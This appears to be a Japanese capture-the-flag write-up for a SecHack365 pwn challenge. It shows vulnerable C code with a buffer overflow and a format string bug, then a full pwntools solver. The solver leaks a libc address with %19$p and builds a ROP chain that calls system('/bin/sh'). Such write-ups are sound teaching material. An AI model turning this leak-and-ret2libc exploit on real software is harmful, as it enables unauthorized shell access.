- Source: SH365CTF
- Author: Iwancof
※ SH365CTFはSecHack365(2024 4th Event Week)にて、有志によって非公式に開催されたCTFです。
問題ファイルとlibc.so.6
、ld-linux-x86-64.so.2
が配布された。
strlen, puts, printfに対して任意の入力を与えることができるという処理をループしている。
chall.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main() {
// 初心者は無視してください
setbuf(stdin, NULL);
setbuf(stdout, NULL);
int opt;
char buffer[0x50];
do {
puts("Options");
puts("1: strlen\n"
// "2: system\n"
"3: puts\n"
"4: printf\n");
printf("Option: ");
scanf("%d%*c", &opt);
printf("buffer: ");
fgets(buffer, 0x100, stdin);
switch (opt) {
case 1:
puts("strlen");
printf("strlen: %ld\n", strlen(buffer));
break;
/*
case 2:
puts("system");
system(buffer);
break;
*/
case 3:
puts("puts");
puts(buffer);
break;
case 4:
puts("printf");
printf(buffer);
break;
default:
puts("Invalid option");
return 0;
}
} while (1);
}
この問題はシリーズものになっており、前の問題はBOFを用いてwin関数を呼び出すものだった。この問題ではwin関数なしでどうにかシェルを奪う必要がある。
まずはchecksecする。Partial RELRO、No canary、No PIE、なるほど。
$ checksec --file=chall
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 31) Symbols No 0 2 chall
そして、配布されたlibcとリンカを問題ファイルに紐づけてやる。
$ patchelf --replace-needed libc.so.6 ./libc.so.6 chall
$ patchelf --set-interpreter ./ld-linux-x86-64.so.2 chall
$ ldd chall
linux-vdso.so.1 (0x00007ffd559c2000)
./libc.so.6 (0x00007fd31da14000)
./ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007fd31dc28000)
問題ソースコードより、明らかに Buffer Overflow の脆弱性がある。
char buffer[0x50];
// (略)
fgets(buffer, 0x100, stdin);
また、printf()
に直接bufferを渡しているので、Format String Bug の脆弱性もある。
printf(buffer);
ということで、main関数のreturnアドレスをlibc内のsystem関数に書き換え、system("/bin/sh")
を実行してシェルを呼び出すこと(ret2libc)を目標とする。
しかし、ASLRがONなのでlibc内のアドレスは実行の度に毎回異なる。よってsystem関数のアドレスを特定する必要がある。
まずはmain関数のreturnアドレスを取得したい。libcでは__libc_start_call_main
関数からmain関数を呼び出しているので、main関数のreturnアドレスは__libc_start_call_main
関数の中のどこかになっているはず。
ここで、bufferが0x50byte、opt(int型)が16byteなのでmain関数のreturnアドレスはbufferの頭から数えて0x68byte先だと分かる。(前の問題から分かっていた)
さらに6つのレジスタの存在を加味すると、main関数のreturnアドレスを取得するFSBのpayloadは%19$p
となる。
ここまでをpwntoolsで書くとこうなる。
from pwn import *
chall = "./chall"
elf = ELF(chall)
context.binary = chall
p = process(chall)
# Optionの選択
p.recvuntil("Option: ")
p.sendline("4")
# FSB
p.recvuntil("buffer: ")
p.sendline("%19$p")
# リークしたアドレスを取得
p.recvuntil("0x")
leak = int(p.recvline().strip(), 16)
log.info("leak: " + hex(leak))
さて、ここで配布されたlibc.so.6
から__libc_start_call_main
関数の相対アドレス(libc.so.6
の先頭のアドレスと__libc_start_call_main
関数のアドレスの差分、これは環境によらず毎回同じ)を求める。これはpwntoolsで簡単に求められる。
main関数のreturnアドレスと__libc_start_call_main
関数がどれだけ離れているかのオフセットも必要になる。gdbで__libc_start_call_main
のアドレスを確認し、main関数のreturnアドレスの差分を取ると122という数字が得られた。
gdb-peda$ p __libc_start_call_main
$1 = {void (int (*)(int, char **, char **), int, char **)} 0x7ffff7dd5150 <__libc_start_call_main>
gdb-peda$ finish
Run till exit from #0 main () at ./chall.c:8
Options
1: strlen
3: puts
4: printf
Option: 4
buffer: %19$p
printf
0x7ffff7dd51ca
0x7ffff7dd51ca
- 0x7ffff7dd5150
= 0x7a
= 122
よって、libcのベースアドレスは以下のコードで求められる。
この後libcからsystem関数を呼び出すので、求めたベースアドレスをついでにセットしている。
余談だが、libcのベースアドレスの下2桁は必ず0x00
となるので、確認も兼ねてassertしても良いかもしれない。
libc = ELF("./libc.so.6")
# libcのベースアドレスを計算
libc_base = leak - libc.symbols['__libc_start_call_main'] - 122
libc.address = libc_base
log.info("libc base: " + hex(libc_base))
いよいよpayloadの作成に入る。正直ここは人に解説できるほど理解していないので省略するが、Return Oriented Programmingという手法でsystem("/bin/sh")
を呼び出している。
WaniCTFの公式solverを大いに参考にした。
# payloadの作成
payload = b"A" * 0x50 + b"B" * 24
payload += p64(next(libc.search(asm("pop rdi; ret"), executable=True)))
payload += p64(next(libc.search(b"/bin/sh\x00")))
payload += p64(next(libc.search(asm("pop rsi; ret"), executable=True)))
payload += p64(0)
payload += p64(next(libc.search(asm("ret"), executable=True)))
payload += p64(libc.sym["system"])
payload += b'\00' * (0x100 - len(payload))
最終的なsolverは以下のようになった。
from pwn import *
from sys import argv
context.log_level = "debug"
# 実行ファイルとライブラリのパス
chall = "./chall"
libc = ELF("./libc.so.6")
elf = ELF(chall)
context.binary = chall
# リモートかローカルかの選択
if len(argv) >= 2 and argv[1] == "remote":
p = remote("18.176.188.206", 14003)
else:
p = process(chall)
# Optionの選択
p.recvuntil("Option: ")
p.sendline("4")
# FSB
p.recvuntil("buffer: ")
p.sendline("%19$p")
# リークしたアドレスを取得
p.recvuntil("0x")
leak = int(p.recvline().strip(), 16)
log.info("leak: " + hex(leak))
# libcのベースアドレスを計算
libc_base = leak - libc.symbols['__libc_start_call_main'] - 122
libc.address = libc_base
log.info("libc base: " + hex(libc_base))
# payloadの作成
payload = b"A" * 0x50 + b"B" * 24
payload += p64(next(libc.search(asm("pop rdi; ret"), executable=True)))
payload += p64(next(libc.search(b"/bin/sh\x00")))
payload += p64(next(libc.search(asm("pop rsi; ret"), executable=True)))
payload += p64(0)
payload += p64(next(libc.search(asm("ret"), executable=True)))
payload += p64(libc.sym["system"])
payload += b'\00' * (0x100 - len(payload))
# Optionの選択
p.recvuntil("Option: ")
p.sendline("4")
# shellを取得
p.recvuntil("buffer: ")
p.sendline(payload)
# interactive modeへ移行
p.interactive()
これでシェルを呼び出し、cat /flag
を実行すればflagを取得できた。
SecHack365{wr173-7h3-f5b-94y104d-by-h4nd}